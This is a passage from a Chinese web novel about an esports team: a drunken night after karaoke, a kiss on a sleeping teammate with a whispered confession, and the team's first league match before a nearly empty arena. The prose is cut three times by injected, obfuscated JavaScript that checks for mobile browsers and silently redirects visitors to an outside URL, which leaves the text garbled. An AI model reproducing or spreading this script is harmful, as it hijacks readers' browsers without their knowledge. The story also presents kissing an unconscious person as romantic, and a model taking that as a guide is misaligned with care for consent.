“比赛第一,轻重缓急我还是分得清的。” “所以,这几个月我会尽量克制住自己的感情的,直到这个赛季比赛结束。” 不仅仅是因为比赛期间任何选手开始一段恋情都很容易对战队造成不小的负面影响,除此之外,他还想趁着这几个月去真的确认一下,夜雨辰现在究竟只是一时兴起还是真的动心了。 “……” 见郁秋这么说,零落张了张口,总想提醒些什么,但话飘到嘴边时,他只无奈地说了一句:“感情这种东西可不是说忍就真能忍下去的。” * 等二人刚回KTV的包厢时,除了孟凌轩在那一展歌喉,其他中边射辅四个人还在玩骰子,他们旁边摆着各自的小酒杯。 郁秋没忍住凑过去看着桌上的战况:“还在玩呢?战况如何?” 他们吃完饭就来了KTV,而两个女生则是选择跟他们分道扬镳逛街去了。刚刚被零落叫出去前,他们几个已经在这玩骰子玩了快一个小时,几个人战绩都是五五开,被罚的酒杯数也差不多也就五六杯,而夜雨辰因为一点都不会玩,一开始一直坐在他旁边尝试学习;而被零落叫出去后,夜雨辰就跃跃欲试地坐到他的位置自诩已经学会了。 吵闹的掷骰子声结束,桌面上,Qian看了眼自己摇出的骰子数,喊道:“三个五,斋。” 夜雨辰皱眉,同样看了眼自己的骰子,思索了一会:“六个五,飞。” One嘴角一勾,直接掀开自己的盖子:“开!” “哇塞不是吧?”开开看了眼结果,惊满是不可思议地看向夜雨辰,“Night你这是连输第十把了吧?你要不别喝了吧?过会还要去网吧呢,喝多了你怎么操作?” “……” 看到这个骰子结果,夜雨辰深吸一口气,直接一口干了杯罚酒,然后又开始摇自己手上的骰子,沉声道:“不会喝多,清醒得很,赢一把再走。” 郁秋挑眉道:“这是几杯了?” “没几杯。” 夜雨辰随意敷衍了一句后继续摇骰子,然后看了一眼里面的数,“四个四,斋。” 郁秋没忍住揉了揉眉心。 按照开开来说的,这家伙不会已经喝了十多杯了吧? 就没见过这么能输的,这是把KTV当酒吧了? One看了眼自己的数喊道:“开!” 夜雨辰看了一眼摆在桌上的六个数字为“四”的骰子:“…………” 什么破游戏,就没见过这么难玩的。 零落在一旁试图劝道:“少喝点,这种东西喝多不好。” 夜雨辰似是没听到零落的话又给自己满了一杯并递到了嘴边。 但这次,在嘴唇刚触碰到杯沿的时候,他的手上突然一空。 ? 夜雨辰眨了眨眼,先垂眸怔怔地看着自己空空如也的手,再后知后觉地抬起头,用略带些迷离的眼神不满地瞪着这个突然抽走自己手里酒杯还一饮而尽的人。 紧接着,郁秋当着他的面倒了倒这个酒杯,在确认里面已然没有一滴液体后朝他扬眉道:“喝那么多干嘛?酒瘾犯了?” 夜雨辰冷哼一声:“想喝,你管我?” 这时,孟凌轩又唱完了一首歌,他直接朝他们全部人抱怨道:“哎,就我一个唱了两个小时,合着这是我开的演唱会现场吗?没意思,换场地换场地!” “没办法,我们真的不会唱歌啊。”开开无辜道,“但没事,咱还可以去网吧通宵!换场地换场地!” 闻言,夜雨辰直接站起身似是迫不及待道:“走。” 他刚往前走一步,下一秒,他的手腕突然被抓住,一股向下的拉力顺势从其传来,让他猝不及防一屁股坐回了沙发。 “?” 他抬起头,有些错愕地看向这个始作俑者,只见对方似笑非笑道:“你走什么走,喝这么多不难受?” 夜雨辰皱起眉,有些不满道:“只有头有点晕而已,我不会醉。” “郁秋,现在没必要管这么紧吧。”孟凌轩见二人的打闹,凑过来笑嘻嘻道:“后面几个月你们比赛可都没有通宵的机会了,凌晨也都会被收手机的,今天不玩更待何时?” 郁秋没好气道:“好歹他是队里年纪最小的,你们能不能学会照顾一下小孩?” 夜雨辰眉头皱得更紧了:“我成年了,不是小孩,不需要照顾。” 他还从没在网吧通宵过。 “唉……” 郁秋无奈又好笑地打开了自己手机里的游戏并递给了夜雨辰,“这样,你先在训练营操作几个连招后再决定要不要去网吧?” “莫名其妙。” 夜雨辰一把抢过郁秋的手机并开始展示自己的操作和手速。 他双眸微眯,不知道是不是因为KTV的光线昏暗的缘故,让他有点看不清手机屏幕上键位的分布,但他还是若无其事地打着这个英雄本该有的操作。 开开凑个头过来瞅了一眼:“诶,这不是该用二技能吗?你怎么在按普攻?是不习惯秋哥的手机吗?” “……” 夜雨辰一顿,迅速换了另一个英雄操作另一个连招。 郁秋好笑道:“你这个一技能按成闪现的操作在游戏对局里就是送人头啊。” “啧。” 夜雨辰眉头拧成一团,在换到第三个英雄操作连招的时候,这次,他还没来得及打完一整套操作就突然把手机熄屏并一股气地塞回郁秋手里,咬牙道:“困了,我回家,不去了。” 不知道为什么,连个正常的操作都打不出来,这状态去网吧打游戏有些东西都会被骂的保不住。 说完,他满是怨气地瞪着郁秋:“你陪我,我不认路。” * 等二人回到基地的时候,夜雨辰不知道是不是因为心里积攒着不小的怒气,一下车,他就直接甩开了郁秋不小的距离率先进了大门。但等郁秋进门后,他发现夜雨辰居然还坐在门口的椅子上并正弯着腰捣鼓着什么。 郁秋疑惑地顺着夜雨辰的行为向下看去,就这么看了一分钟,他才没忍住好笑道:“你怎么鞋带都解不开?” 说着,他弯下身子,单膝跪在了夜雨辰面前帮他解着鞋带:“还说自己不会醉。” “哼。” 夜雨辰下意识地把自己的腿向前伸了伸,他完全不提自己为什么现在连这么简单的一个动作都做不好,“没醉。” 感受着鞋子上的绑带渐渐松开,他缓缓垂下眼眸,迷离却无法聚焦的眼神静静地放在郁秋的后脑勺。 “郁秋。” 突然,他喃喃地喊出声。 郁秋头也不抬一下:“怎么了?” “……”夜雨辰沉默了半晌才深吸一口气,似是鼓足了很大勇气开口问道,“你喜欢的人是谁?” “?” 郁秋的手一顿,似是没想到对方突然问了这个问题,有些诧异地抬头看向夜雨辰。 对方紧抿着嘴唇,似是在紧张等待着他的回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081174|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁秋的脑子一时有些混乱,没有第一时间作出回应,有些怔然道:“我——” “算了,”夜雨辰迅速打断他并偏过头,嘟囔道,“你懒得说我也懒得知道。” 等鞋子都被脱下来后,他站起身小声道:“我才没兴趣知道这个。” 接着,他便以自以为是直线的路线快步上了楼。 路上,他心里不禁暗啧一声。 他明明就是因为一直纠结这个莫名其妙的问题的答案才忍不住一直想喝那些难喝的酒。 …… 等郁秋把两人的鞋子都放好后,一楼只有他孤零零的一个人。 终于可以一个人呆一会了。 他长叹一口气,一边揉着自己的太阳穴,一边尽量保持着冷静向厨房走去。 今天的聚会他不是没有喝酒,只是喝的相对来说没夜雨辰多而已,但量其实也不算少,在被零落叫出去谈话前他自己就已经给自己灌了不少酒。 只不过,他的酒量肯定比夜雨辰的好,所以正常思考喝行动他都是可以做到的,但酒精这玩意总容易给人带来一股难以控制的冲动…… 他脑子里顿时浮现出刚刚车上的画面。 “啧。” 他不禁暗骂一声。 他也是人,他也有正常人该有的欲望的,现在还有酒精作为催化剂…… 所以这人到底是故意的还是不小心的。 等郁秋在一楼独自冷静了十多分钟后,才不紧不慢地上到了二楼回到了自己的房间。 刚打开房门,走廊微弱的光线透过门缝钻进房内,他便愣住了。 这道昏暗的光线恰好打在了他的床上。 而此时,上面正躺着一个人。 “…………” 郁秋满额黑线。 到底没醉在哪? 床都认不对。 他长叹一口气,挪开灯光开关上的手,悄然走到床边并轻坐在了床沿边上,动作小心到完全没发出一丝动静,以防吵醒这个似乎已经熟睡的少年。 昏暗的房间里,朦胧的月光穿过纱幔,轻打在夜雨辰白里透红的脸颊上。他轻闭着双眼,嘴唇微张,呼吸平稳起伏着,似乎已经睡着了。 郁秋双眸微眯,手不知不觉撑在了对方躺着的枕边上,似是因为光线太差看不清楚,他便稍稍俯下身,仔细端详着这个轻而易举就这么熟睡过去的人。 半晌,他没忍住冷哼一声。 睡得倒是轻易。 车上一直嚷嚷着自己没醉,手倒是一点都不安分。 不知是不是因为心底里呼之欲出的冲动和怒意,他无意识地抬起手,轻轻捏住了夜雨辰的下巴并向上稍稍抬起——白皙的月光装点着他红润的唇瓣,愈发诱人。 郁秋双眸微眯。 此时,他的掌心上还残留着刚刚吃饭时、捂住夜雨辰的嘴后不小心触碰到的唇瓣上传来的糯糯的感觉。 不禁让他想起上次那一触即离的初吻。 他就这么欣赏着夜雨辰的睡态,大拇指不禁轻轻拂过夜雨辰的唇瓣。 此刻,他全身上下每一个细胞现在都在他耳边叫嚣呼吁着——就这么再亲一次吧。 但是—— 带着薄雾的双眸暗沉了些,撑着枕边的手肘开始微微向下弯曲。 这是趁人之危吧? 视线里,夜雨辰的面庞不断在眼前放大。 思绪和行动在一具身体里响彻着两个全然不同的声音—— 他生气了怎么办? 就一下,不会有事的,明明早就想亲回去了不是吗? 可是他要是突然醒了怎么办? 怎么可能,他连床都认不对,大不了就说自己也醉了没看到他不就行了? 一道苍白无力,一道跃跃欲试。 但刚刚在车上都忍了很久…… 车上不是他自己说什么晕车不舒服所以要靠着你,结果不安分诱惑你的不是他吗?刚刚是勉强忍住的现在凭什么忍住? 不行,自己的自控力明明很好的,这种吃人豆腐的事…… 放纵一次吧大哥,“喝多了没看到床上多了个人”是个多好的借口啊,这可是送到嘴边的肉,怎么可能不吃? 偷亲一次而已。 你明明觊觎很久了。 主动一次吧。 …… 突然,脑海里的两道声音戛然而止。 双唇就这么毫无缝隙地贴在了一起。 郁秋顿时回过神来。他瞪大双眸,下一秒,有些慌乱地捂住嘴并站了起来,胸膛急促地起伏着。 一不小心失控了。 真的一不小心就…… 他有些懊恼地转过身,打算离开房间再去冷静冷静,但刚往前迈出一步,他整个身形突然一顿。 既然亲都亲了,而且还好夜雨辰没醒,那干脆顺便…… 他吞了口唾沫,沙哑道:“我喜欢的人……是你。” 回答他刚刚的问题吧。 丢下这句话后,他更加仓促且小心翼翼地离开了房间并掩上了门。 偌大的双人房又陷入了一开始的宁静和冷清。 郁秋的床上,夜雨辰仍然一动不动地躺在那,白光轻落他的在睫毛上,面颊上细碎的倒影正微微轻轻颤动着。 81. 比赛 第二天清晨,夜雨辰出奇的醒得特别早。 他迷迷糊糊地睁眼,脑子里全是一团浆糊。 此时,他头晕眼花,完全没反应过来自己现在身处哪里、为什么会在这里,唯独最清晰的感觉便是从喉咙蔓延到整个鼻腔的仍未散去的…… 突然,胃里的翻山倒海让他眉头紧皱,下一秒,他迅速爬起身下床,踉跄地跑进了洗手间。 “呕——!” 为什么一觉睡醒还是满腔的酒味! 几分钟后,他脸上的苍白才渐渐褪去。 他的思绪逐渐清晰,但头还是有点晕乱,不仅如此,他现在的一呼一吸都仍伴随着浓厚的酒味…… 刺鼻、难受、恶心。 他烦躁地抹掉眼角刺出的泪花。 上次喝都没这种感觉,但这次他是确切地感受到了酒这玩意原来喝多了会这么难受。 以后都不想碰了。 恢复不少后,他没忍住捏了捏自己的眉心,开始回忆昨晚究竟发生了什么。 虽然没到断片的地步,但其实自己最后喝了多少,怎么回来基地的,甚至什么时候睡着的,他几乎都没什么印象,脑海里只有几段零零星星的画面—— 玩游戏时按不到键位的生气、在车上抱着什么东西但怎么抱怎么不舒服所以不停地换姿势、到基地后脱不下的该死的鞋子、和…… 突然,他全身一僵。 唇上仿佛再次漾开了一下点啄,熟悉的声音随其重新在脑海中开始回荡—— “我喜欢的是你。” “?” 夜雨辰宕机了。 自己这是还没睡醒还是还没酒醒? 他面色有些古怪地回到卧室,打算重新倒回自己床上重新补觉,起床后再重新回忆一次这混乱的记忆,但在看到自己的床铺时,他的思绪又卡壳了。 只见自己的床铺整齐如一,简直就像昨晚从未有人在上面睡过一样。 “…………” 等等,如果是这样的话,那他刚刚是从哪爬起来的? “你刚刚的动静不小,还好吗?” 这时,他身后突然响起一道和脑海里表白者完全相同的声音。 夜雨辰:“……” 不太好。 此刻,他的脸色已经十分难看。在沉默许久后,他深吸一口气回头看向对方,但并没有回答对方的问题:“我昨晚睡在了——” 郁秋懒洋洋道:“嗯,你又抢占了我的床。” 夜雨辰:“……” 为什么他没有这个印象? 郁秋悠悠道:“没事,你也不是第一次了,我习惯了。” 夜雨辰:“……” 他才不想要乱爬别人床的习惯。 他稳了稳自己的思绪,尽可能地保持冷静道:“那你为什么不叫醒我?” “睡得还挺熟,叫不醒。” 夜雨辰不禁扶额:“那我昨晚还做过什么吗?” 郁秋轻飘飘道:“回来的路上,有人一直在吃我豆腐。” “……” 对此又没有任何印象的夜雨辰更加沉默了。 原来他在车上抱的居然是这个玩意吗? 真是……酒精误人。 过了好半晌,他才勉强憋出一句话:“那我可真谢谢你昨晚没把我吃干抹净哈。” 郁秋轻笑一声。 夜雨辰揉了揉太阳穴,尽可能地冷静问道:“那回基地后我有说过什么吗?” “没有。” ? 对于这个不假思索地答案,夜雨辰反而愣了一下。 “你也没说什么吗?” “没,来不及说你就睡着了。” 在得到这个有些意料之外的答案后,他突然完全冷静下来,倒回了自己的床上。 真有些怀疑自己。 那句话真是他做梦臆想出来的? …… 等睡到下午,夜雨辰终于完全清醒过来了。 他正坐在自己的桌前,手指不禁一直在敲桌思索着。 虽然睡觉的中途几个小时里,他每睡一小时,胃里都控制不住翻腾一次导致他不得不爬起床光顾一次卫生间,而且头到现在还有些晕,但即使这样,他对昨晚脑海里残留的画面却越来越清晰了。 他也越来越确信,他昨晚就是听到了郁秋对自己说的话,以及…… 他的手一顿,拇指不禁划过自己的唇瓣。 是真的。 那句喜欢,就是郁秋对自己说的。 一想到这,他的心跳就不禁加速,同时心底里还逐渐升起一股不可名状、似乎随时要蹦出来的感觉。 有些恍惚,不太真实。 他还记得,昨天虽然他玩骰子输得很多,但他主要想喝酒的原因是——郁秋喜欢的是别人,他烦,所以借酒消愁了。 可如果郁秋真的对自己说了这句话,为什么早上不承认? 总不可能是不敢吧? 不过他心上人真是自己的话,那他现在该怎么做? 夜雨辰越把时间线往前想,思绪就越来越乱。 ……啧。 他烦心地抓了抓头发。 他现在急需有个人来告诉他,他该怎么办。 思来想去,他最后只想到一个人适合分享,也可能能得到一个能参考的答复。他打开Whisper Tree,立马给那唯一的好友发去消息。 【Rain:我该怎么做?】 对面很快就回了消息。 【有耳;什么做什么?怎么突然说这个?】 【Rain:我听到了,他表白了。】 【有耳:?】 【Rain:虽然我昨晚喝多了,但不至于到醉的地步,而且我确信我真的听到了他亲口说喜欢我,我反复回忆了很多次,是真的。】 【有耳:。】 【有耳:那你什么感想?】 【Rain:他应该不是喝多把我认错人了吧?】 【有耳:……有这个可能。】 【Rain:可他顺势把我亲了?】 【有耳:。】 【Rain:对了,你之前不是说你和你喜欢的人一起工作了来着?你追到了吗?】 【有耳:……快了吧。】 【Rain:不是吧,两年多了你居然还没追到吗?老哥你怎么回事?我感觉以你的做事风格应该早拿捏了才对啊。】 【有耳:嗯……】 在本打算问问题,结果不自觉地一口气道完自己内心说不出的喜悦和激动后的夜雨辰再次逐渐冷静了回来。 【Rain:不过虽然他说喜欢我,但我又觉得,有些不真实。】 【有耳:为什么?】 【Rain:先不说他现在好像也不知道我听到了这句话,我是不是应该揣着明白装糊涂。他之前跟我说过,他爱一个人就不会变,而且他口中的爱很深、很久,如果这个人是我的话……】 【Rain:我做过什么值得他在意这么久的事情吗?】 【Rain:而且按照他所说的这么对比,我现在应该也算喜欢他吧?但这样我就感觉我的喜欢很微不足道,我好像什么都没做过。】 【有耳:爱是不需要对比的,爱只有你希望对方过得健康幸福。】 夜雨辰一怔。但在还没等他来得及反应过来这句话,对面又发来了一道消息。 【有耳:还有,我觉得你现在的重点不应该是苦恼现在究竟该怎么对他,而是把重点全力全放在比赛才对吧?这不是你最主要的工作吗?】 看到“比赛”这两个字,夜雨辰突然沉默了。 【Rain:你怎么知道我要比赛了?我好像没和你说过这个。】 【有耳:你们比赛联盟在社交平台上发公告了,偶然刷到了。】 【有耳:没记错的话,你的比赛是第一场吧?先好好准备首秀吧,现在可不是想这些小心思的时候。】 【有耳:毕竟你不是期待了很久上场比赛吗?】 【有耳:没记错的话,我们认识也是因为你在纠结职业比赛吧?】 对啊,现在重中之重的事情是比赛才对。 对方这几句话瞬间把夜雨辰敲醒了。 现在这个时间节骨点,确实不适合去想这些很难摸透的东西,因为后天就要比赛了。 他现在需要将自己的状态调整到最好,保证和队友的配合发挥能到极致。 夜雨辰站起身,活动活动了筋骨,顿时下决心去楼上训练室打游戏找找状态,并顺便抛开这个干扰着他思绪的问题。但刚转过身,恰好,郁秋在这时也从自己的位置上站起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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过会上场后,自己台上首秀会是什么样? 如果自己不小心带飞全场,会不会像全国大赛一样,观众席发出满天飞的惊呼声? 想着这些,他便不禁偏头看向自己其他队友的状态——他们好像没一个人在听零落的话似的,开开正在原地蹦蹦跳跳,疑似在活动热身;Qian坐在自己旁边低头玩着自己的手指;One正悠哉游哉地剥着香蕉吃;而郁秋直接不见了踪影。 他一愣,小声问道Qian:“郁秋人呢?” 根本没注意到,他是什么时候离开休息室的? “秋哥的话,他有个习惯。”开开听到这句话,抢着解释道,“不知道为什么,他每次上台前都会一个人去找地方独自呆一会,不过放心,每次他都一定会及时回来的,所以不用管他。” 习惯? 夜雨辰挑眉。 这个习惯怕不是不想跟邱子幸共处一室养成的吧? 在快上场的前几分钟,郁秋便不知道从哪里溜了回来。 夜雨辰并没主动询问对方去哪了,甚至他这两天都没怎么和郁秋主动搭话,因为他一想和郁秋说话,脑海里就不由自主地会蹦出那句表白和那一小啄,好在对方这两天也没怎么和自己说话。 这两天里,夜雨辰的脑子一旦空闲下来就会迅速升起太多太多止不住的和比赛完全无关的想法了,所以为了逼迫自己不去想这些轻易干扰他思绪的东西,他直接和引起这些思绪的源头减少了接触和沟通。 “请双方选手登台!” 裁判的呼声响起瞬间把夜雨辰拉回了神。 按照场上座位的排序,上场的排队顺序,他是站在郁秋身后的。 由于郁秋比他高,所以他现在根本看不见登场口外的场景如何,只能若有所思地盯着郁秋后背以及扎在其后的头发。 片刻,他便幽幽地瞥开了视线。 不知道为什么,突然有想扯它的冲动。 开始上台的时候,夜雨辰全被自己地抿紧嘴唇、呼吸放缓。每向前迈一步,他都明显感到脚上的重量倍增,心跳控制不住愈发加快。 在踏上场的一刹那,高立着的聚光灯似瞬间全数落在了他的身上,刺眼炽烈的白光照得他头晕目眩,脑子发热。 主持人的解说洪亮,震彻耳膜,一时间,他根本无法听到除其意外其他任何的场外声。 在自己的位置上落座后,夜雨辰并没有第一时间确认眼前的设备是否没有问题,而是在眼前的光斑逐渐消失的刹那,迫不及待地看向台下——他终于看清了偌大的、有数不胜数座位的观众席。 而在场观众的数目,寥寥无几。 82. 观众 夜雨辰愣住了。 台下此刻的场景和他想象了数百个日日夜夜的人声鼎沸、座无虚席的画面形成了极大的反差——零零星星的观众和大片的空旷椅子。 为什么会这么少人? 这空旷的场地让他心底深处升起一股难以言述的落差感,使他戴耳机的动作都变得有些不自然。 他抿紧嘴唇。 完全无法将这种不该也不能在此时此刻出现的负面情绪压下去。 比赛现场的观众不应该是人山人海吗?但为什么现在台下放眼望去几乎全是空位? “喂喂喂?听得到吗?” 突然,耳边响起一道巨大的One的声音,把夜雨辰吓得一激灵。他手忙脚乱地迅速调小耳机的音量时,其他声音也纷纷在耳边响了起来—— 零落:“Hello?Hello?” 郁秋:“在的兄弟在的。” 开开直接开嗓:“哈基米沃南北绿豆~” 众人:“……………” 开开疑惑:“怎么突然没声了?我耳机坏了?喂喂?听得到吗?” 见没有回应,他清了清嗓,“对你爱爱爱不——” “别开腔,自己人。” 终于,Qian再也忍不住打断了他。 One有些无语:“前天KTV怎么不见你一展歌喉?” Qian冷哼一声:“他人就这样,只喜欢开打来一场演唱会,美名其曰‘发泄压力’。” 零落点头,对着麦克风道:“后台老师记得播一下这段,不要只让我们遭殃。” 一听到教练意图让所有观众听到自己的歌声,开开“嘁”了一声,没好气道:“不识趣。” 但也就这么悻悻然地闭上了嘴。 郁秋突然开口问道:“夜雨辰怎么不说话?麦坏了?” 沉默地听着队友打闹的夜雨辰下意识一激灵,偏头看向对方:“……没,听得见,只是有点——” “是因为这是第一场比赛太紧张了吗?” 开开瞬间恍然大悟,“小问题,撸起袖子就是干!” Qian淡淡道:“紧张是人之常情,喝水可以冷静。” One活动着自己的手腕:“深吸一口气,放轻松,当作平常的一把训练赛来打就行。” 零落拍了拍夜雨辰的肩膀:“大吼一声也是一个方法,实在不行像张凌开一样一展歌喉也行。” 夜雨辰:“……” 那还是没这个必要吧? 不过—— 他的视线环过一圈坐在自己两侧和站在自己身后的队友们。 紧张是避不可免的,在夜雨辰坐上这个位置后,明明比赛还没开始,但他的心率却早已飙升至一百二甚至更高,心脏似乎随时随刻都会炸出来。但队友们打闹的轻松活跃气氛,确实让他紧绷的肌肉终于松懈下来了一些。 “夜雨辰。” 突然,郁秋叫住了他。 夜雨辰愣了愣,重新将目光放回在了郁秋身上。只见对方的眼里如同平静的湖面,但湖面上似乎又轻轻漾着丝丝名为羡慕的波纹。 郁秋并没有像队员跟他说类似“不用紧张”的话,只是平平淡淡、一如往常的莞尔道:“观众很少,你很幸运。” * 不过,毕竟是人生第一场实打实职业级别的电竞比赛,紧张到发挥失常是大部分人都会犯的通病,夜雨辰也不例外。 “惜败惜败!” 后台休息室里,红彤着脸的开开瘫仰在沙发上叹声道。 Qian翻了个白眼:“说的好像我们今天已经输了似的,又不是bo1。” One伸了个懒腰:“最后一把放手一搏咯!” 零落关上门前看了下门外:“夜雨辰和郁秋呢?” 开开百无聊赖道:“去洗手间了,估计现在心情都不太好吧?秋哥起码今天发挥比以前好了很多,但Night是第一次上台,完全没适应过赛场,只好原谅一次咯。” Qian噗嗤一笑:“怪不得今天回来第一句不是爆粗,原来是铁树开花了。” One诧异地看向开开:“你居然是比赛会骂人的类型吗?” 开开摆了摆手,脸上的红温还未褪去:“那不重要,重要的是下把输了我就要压力你们了。这把我啥也没干就听到你们两条路频频传来噩耗,然后我就守家了?哈,懒得喷。” 零落揉了揉眉心:“不要压力队友,打一把,丢一把,放平心态下一把。” “不过说到心态的话……”One回想起刚刚看到的台下的场景,忍不住有些感慨道,“这种场地确实没什么太大的压力,我已经好几年没打过这么少观众坐在台下的比赛了。” Qian黯黯垂眸:“又比以前少了。” 对JYY大部分成员来说,这种几乎没有人在现场观看的比赛,心态想不好也难。 * “真别说,今天观众还挺多,上台看到的时候吓我一跳,我心态差点炸了。” 洗手间里,作为JYY对手的TZ战队,正在大声聊天。 “我也是,好久没见这种场景了,人数能坐满两整排了吧?还好这把对面中单给的机会不少让我们拿下了第一把,我记得训练赛的时候他打得可凶了。” 说着,两个人向门口走去。 第一个说话的人笑嘻嘻道:“职业新人的首秀永远不会让对手失望。” 另一个人也没忍住跟着嬉笑:“突然想起他前几天的那个采访的贴子,可真是虚张声——卧槽,你怎么在这?” 郁秋背靠墙边双手抱胸,在听到这两人的对话后才缓缓抬眸,像看弱智一样看着他们:“这是公共场所,我为什么不能在这?” “嘁,偷听崽。” 两名队员朝他竖了个中指后,许是察觉自己刚刚说的话被听到后感到心虚,快步离开了这里。 郁秋才懒得理他们俩,而是依旧靠在门旁等着人。 “他们俩说我坏话,你就没什么反应吗?” 突然,夜雨辰出现在了门口旁。此时他的脸颊上正滑落着不少颗水珠,一看就是刚刚洗了一场酣畅淋漓的脸,但又没来得及擦干。 看到等的人终于出来,郁秋偏头看了过去,没忍住好笑道:“你想要我什么反应?在人家的主场打骂他们的队员一顿?还是指责他们怎么能在背后偷偷贬低对手?” 听到这些一个个似乎本应是这个反应,但实则全都是违规行为的夜雨辰幽幽地瞥开了视线,撇了撇嘴,“那你就这么无动于衷吗?” “我可没有无动于衷。”郁秋耸耸肩,“今天还有两场比赛不是吗?” 他们现在打的是常规赛,常规赛是bo3赛制,简而言之就是三局两胜,而JYY和TZ现在的比分是0比1。 两场比赛,相当于接下来的两把对局一把不输。 “……” 得到这个答案的夜雨辰沉默了片刻便直接转过身,朝自家战队的后台休息室走去。 确实,这家伙想的和自己的完全一样。 虽然第一把比赛,他的失误多到不堪入目,但接下来的两场比赛拿下还是完全没问题的。所以,顺便打爆这俩个人就完事了,反正电子竞技最好就是拿实力来封嘴。 “对了,”刚往前走两步,夜雨辰突然停下脚步,回头目光灼灼地看着郁秋,“刚刚赛前你对我说的,‘观众很少,我很幸运’是什么意思?” 郁秋眨了眨眼:“原来你是因为这件事所以不开心吗?” “……”夜雨辰眸光暗沉地看着对方几秒,便直接转过身,“当我啥都没说。” 答非所问,他才没不开心。 郁秋悠悠地跟在他后面,追问道:“还是说你很在意为什么刚刚那两人说‘今天的观众多’?” 夜雨辰冷哼一声,但脚下没停。 实不相瞒,他都很在意。 “你这场比赛的感受是什么?” 突然,郁秋问了句这个问题。 夜雨辰下意识答道:“不服。” 输一场对局,不服对手太正常了。 特别是他这一把的操作不仅完全没发挥出自己的真实实力,反倒还莫名其妙成为了团队最大的破绽——一直被对面抓自己的小失误,导致对面前期直接拿到大优势,最后获得了胜利。 所以,他现在甚至都在内疚这把因为自己拖累了整个团队。 郁秋轻笑一声:“我问的不是赛后感受,而是赛时感受。” 赛时? 夜雨辰一怔,有些疑惑地回首看向郁秋。 郁秋走到他旁边:“刚刚赛场上的感受,和训练赛包括以前你打业余比赛时的感觉不一样吧?” 夜雨辰开始回想起刚刚比赛时自己的状态,再比较了一下曾经自己打游戏的感受,最后,后知后觉的点了点头。 是的,十分不一样。 训练赛里,他一开始特别在意输赢,但打的次数多了,他就发现训练赛的输赢并不用看得太重,久而久之,他就慢慢习惯了训练赛里放松下自己,不会在决定胜负的关键时刻靠自杀式打法殊死一搏;而他两年前的业余比赛和几个月前青训营里的比赛,大家沟通都是靠吼和嗓子来报点指挥,官方哪有这么好的条件人手一个隔音耳机? 最主要的是,刚刚他坐在场上,虽然心里不由自主地会去在乎台下观众为什么会寥寥无几,但状态不好的原因还有一个——这是他第一次在无数镁光灯和摄像头的聚焦照射下进行游戏,所以他的脑子控制不住升温到发晕,他简直像个晕头崽一样,常常不知道自己在干什么,反应也好像迟钝了大半拍。 “所以说,你的运气很好,场上没什么观众,听不到他们的及时反馈。”他们俩走到了后台休息室的门口,郁秋将手放在门把上顿了一会,微笑道,“你有充裕的时间来适应台上的环境。” “不过——” 他俯下身,贴着夜雨辰的耳边小声说了句话。 说完,他才打开了休息室的门,留着夜雨辰怔在原地。 “哎,真别说,我是真羡慕Night,下面观众这么少,压力都没多大。” 门一打开,还没等他俩踏进去,里面就传出来了开开的声音,“遥想我去年第一次上台的时候,一堆JYY的老粉等着我们带队拿回冠军,那些呼喊声我真的听得全是压力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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TZ战队本身粉丝数目就不多,来现场看比赛的粉丝更是屈指可数,所以他们战队的比赛里,台下常常面对的观众人数是比今天还少的场景。 One抚了抚下巴:“我听说TZ不是挺和善的吗?他们也会做这种说别人坏话的事?” Qian无语:“人家是队内从不吵架的和善,又不是人很和善,不会干说别人坏话的事情。” 开开小声嘀咕道:“这种和善有啥用?没前途的战队。” 夜雨辰感到疑惑:“队内不吵架难道不——唔?!” 话还没说完,他的嘴就被郁秋捂住了。 郁秋小声低笑道:“建议你现在别说这句话,毕竟还有两分钟就要上台了,我们现在内部可不适合来吵一架。” 除了开开和夜雨辰,所有人都暗暗给郁秋的眼疾手快点了个赞,零落见机也立马插上一嘴:“我现在迅速说一下下把大致布局和上把你们的犯的一些通病……” 说着,他翻开自己的笔记,开始滔滔不绝地讲着刚刚每个人场上的犯病点,完全不给夜雨辰任何继续问下去甚至说话的机会。 毕竟大家都心知肚明,上把局内问题最大的那个人是夜雨辰,只是大家都没有明说出口而已,也暂时没有任何人出口责怪抱怨他,但总会有人心底忍不住埋怨几下这个最大的破绽。 所以关于队内吵不吵架的问题,他们怎么可能现在让夜雨辰问出来? 在零落靠嘴上的实力迅速地熬过了这两分钟,众人准备上台的时候,他突然开口:“Night,你等一下。” 夜雨辰感到疑惑:“怎么了?” 零落踌躇一会,才沉声道:“虽然不知道你怎么看待台下观众的事情,不过因为其他人都已经习惯了台下的场景,所以提醒一下你——无论台下有多少观众,你都不要去在意台下看到的任何景象和发生的所有事情,比赛场上,选手需要做到的是摒弃所有杂念,只专注对局,而台下观众的数目和所有反应对你们来说一点都不重要,打比赛的是你们,不是他们。” 夜雨辰点了点头:“嗯,我知道了。” 上比赛台后,夜雨辰就像半个多小时前的上台一样,一坐下来还是没忍住将目光放到了台下——依旧只有数十个观众的身影,似乎比上一场人还少了点? 他内心深处难免又生出一股落寞的情绪。 他还是控制不住去想,为什么台下的观众会这么少? 这时,郁秋戳了戳他的胳膊。 夜雨辰幽幽地瞥去视线,没好气道:“别看我,我没不开心了。” 半晌,他顿了顿,才干巴巴道,“还有,谢谢。” 这次,他不是强撑着脸面口是心非强行说自己心情不错,而是实打实地说着自己的心里话。因为刚刚在他负面情绪升起的瞬间,脑海深处响起的一句话将其压了下去。 